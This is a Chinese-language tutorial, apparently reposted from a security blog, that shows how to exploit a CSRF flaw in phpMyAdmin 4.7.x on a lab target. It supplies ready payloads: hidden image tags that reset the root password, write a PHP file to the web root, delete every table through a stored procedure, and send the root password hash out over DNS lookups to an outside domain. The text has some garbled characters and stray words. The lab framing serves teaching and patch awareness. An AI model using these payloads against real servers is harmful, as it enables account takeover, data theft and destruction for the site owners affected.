phpMyAdmin 4.7.x CSRF 漏洞利用

做者:Ambulongphp

 

phpMyAdmin是个知名MySQL/MariaDB在线管理工具,phpMyAdmin团队在4.7.7版本中修复了一个危害严重的CSRF漏洞(PMASA-2017-9),攻击者能够经过诱导管理员访问恶意页面,悄无声息地执行任意SQL语句。html

该篇文章咱们将结合VulnSpy的在线phpMyAdmin环境来熟悉该漏洞的利用。mysql

在线 phpMyAdmin CSRF 演练地址:https://www.vulnspy.com/?u=pmasa-2017-9git

注:重启演示靶机便可重置靶机github

1 在线建立 phpMyAdmin 环境

点击 VulnSpy 提供的建立靶机地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9sql

image.png

跳转到 VSPlate 后,直接点击GO按钮,便会自动建立一个 phpMyAdmin 环境数据库

image.png

image.png

 

打开演示地址的连接,咱们的 phpMyAdmin 就建立完成了。浏览器

image.png

使用账号 root ,密码 toor ,登陆 phpMyAdmin 。根据页面信息,咱们能够发现当前 phpMyAdmin 的版本为 4.7.6,恰好匹配存在漏洞的 phpMyAdmin 版本。网络

image.png

2 CSRF 漏洞利用 – 修改当前数据库用户密码

咱们知道,若是要利用CSRF来删除或修改数据库内容,通查状况下须要提早知道数据库名、表名和字段名。这样利用显得有点复杂,成功率也有限,所以本文咱们将介绍几种较为通用的利用方式。ide

在MySQL中支持使用SQL语句来修改当前用户密码。好比将当前用户密码修改成[www.vulnspy.com](http://www.vulnspy.com),对应的SQL语句为:

SET passsword=PASSWORD('www.vulnspy.com'); 

利用演示

2.1 模拟管理员登陆phpMyAdmin的状态。

用账号 root 密码 toor 登陆 phpMyAdmin 。

image.png

2.2 建立含有恶意代码的页面。

文件名 2.payload.html (将下面的域名换成本身的靶机域名)

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password %20=%20PASSWORD(%27www.vulnspy.com%27)" style="display:none;" /> 

2.3 用浏览器打开含有恶意代码的文件 2.payload.html

image.png

回到上一步打开的phpMyAdmin页面,发现已自动退出,并且用原来的密码 toor 已经没法登陆。

image.png

2.4 使用密码 www.vulnspy.com 登陆成功,代表利用成功

image.png

3 CSRF 漏洞利用 – 写文件

MySQL支持将查询结果写到文件当中,咱们能够利用该特性来写入PHP文件。好比将代码<?php phpinfo();?>写到文件/var/www/html/test.php中,对应的SQL语句为:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php'; 

利用演示

3.1 将上一个演示步骤相同,只需将2.2中的文件代码改为:

<p>Hello World</p> <img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" /> 

3.2 用浏览器打开含有恶意代码的文件

3.3 访问 test.php

image.png

可见文件已经写入成功。

4 CSRF 漏洞利用 – 获取数据

MySQL提供了load_file()函数来支持读取文件内容的操做。好比读取文件/etc/passwd内容,,对应的SQL语句为:

select load_file('/etc/passwd'); 

可是对于CSRF漏洞来讲,该读取操做实在目标用户端执行的,咱们依然没法知道文件读取的结果。而load_file()在Windows下支持从网络共享文件夹中读取文件,如\\192.168.1.100\share\vulnspy.txt。网络共享文件的地址处不只能够填写IP还能够填写域名,咱们能够经过DNS解析来获取查询的数据。

此处须要用到 DNSLOG 之类的工具:https://github.com/BugScanTeam/DNSLog, 这类工具能够记录域名的 DNS 解析记录

好比经过DNS解析来获取当前 MySQL root 用户密码,对应的SQL语句为:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test')); 

获取当前数据库名:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test')); 

若是请求成功,查询结果将做为二级域名的一部分出如今咱们的 DNS 解析记录当中。

该环境暂没法演示

5 CSRF 漏洞利用 – 清空全部数据表

若是上面几种利用方式都没法直接形成直接的影响,咱们能够利用SQL语句来清空当前MySQL用户可操做的全部数据表。

咱们用命令

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1 

来获取数据名和表名,并将其拼接成删除语句(如:DELETE FROM vulnspy_tables.inv),经过 execute 来执行生成的删除语句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1); prepare stmt from @del; execute stmt; 

可是 execute 一次只能执行一条SQL语句,所以咱们能够利用循环语句来逐一执行:

DROP PROCEDURE IF EXISTS EMPT; DELIMITER $$     CREATE PROCEDURE EMPT()     BEGIN         DECLARE i INT;         SET i = 0;         WHILE i < 100 DO             SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);             PREPARE STMT FROM @del;             EXECUTE STMT;             SET i = i +1;         END WHILE;     END $$ DELIMITER ; CALL EMPT(); 

利用演示

5.1 Payload以下

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" style="display:none;" /> 

5.2 用浏览器打开含有恶意代码的文件

5.3 回到 phpMyAdmin 中查看数据

能够发现数据库vulnspy_tables和数据库vulnspy_test中的数据已经被清空。

image.png

6 总结

这个 phpMyAdmin 的 CSRF 漏洞利用有点相似 SQL 盲注的利用,可是对于漏洞触发的时间不可控(即不知道管理员什么时候会访问含有恶意代码的页面),所以须要更加通用的利用方式。经过该实验,不只了解该漏洞的内容,还能够更加熟悉CSRF漏洞的利用。

本文转载自:phpMyAdmin 4.7.x CSRF 漏洞利用 - https://blog.vulnspy.com/2018/06/10/phpMyAdmin-4-7-x-XSRF-CSRF-vulnerability-exploit/

 

i春秋推出优享会员制,开通会员能够免费畅享多类课程、实验、CTF赛题等付费内容,并可享有包括会员日专属福利、就业推荐等多种特权福利,更多活动详情可点击:https://bbs.ichunqiu.com/thread-40795-1-1.html了解哦~

相关文章
相关标签/搜索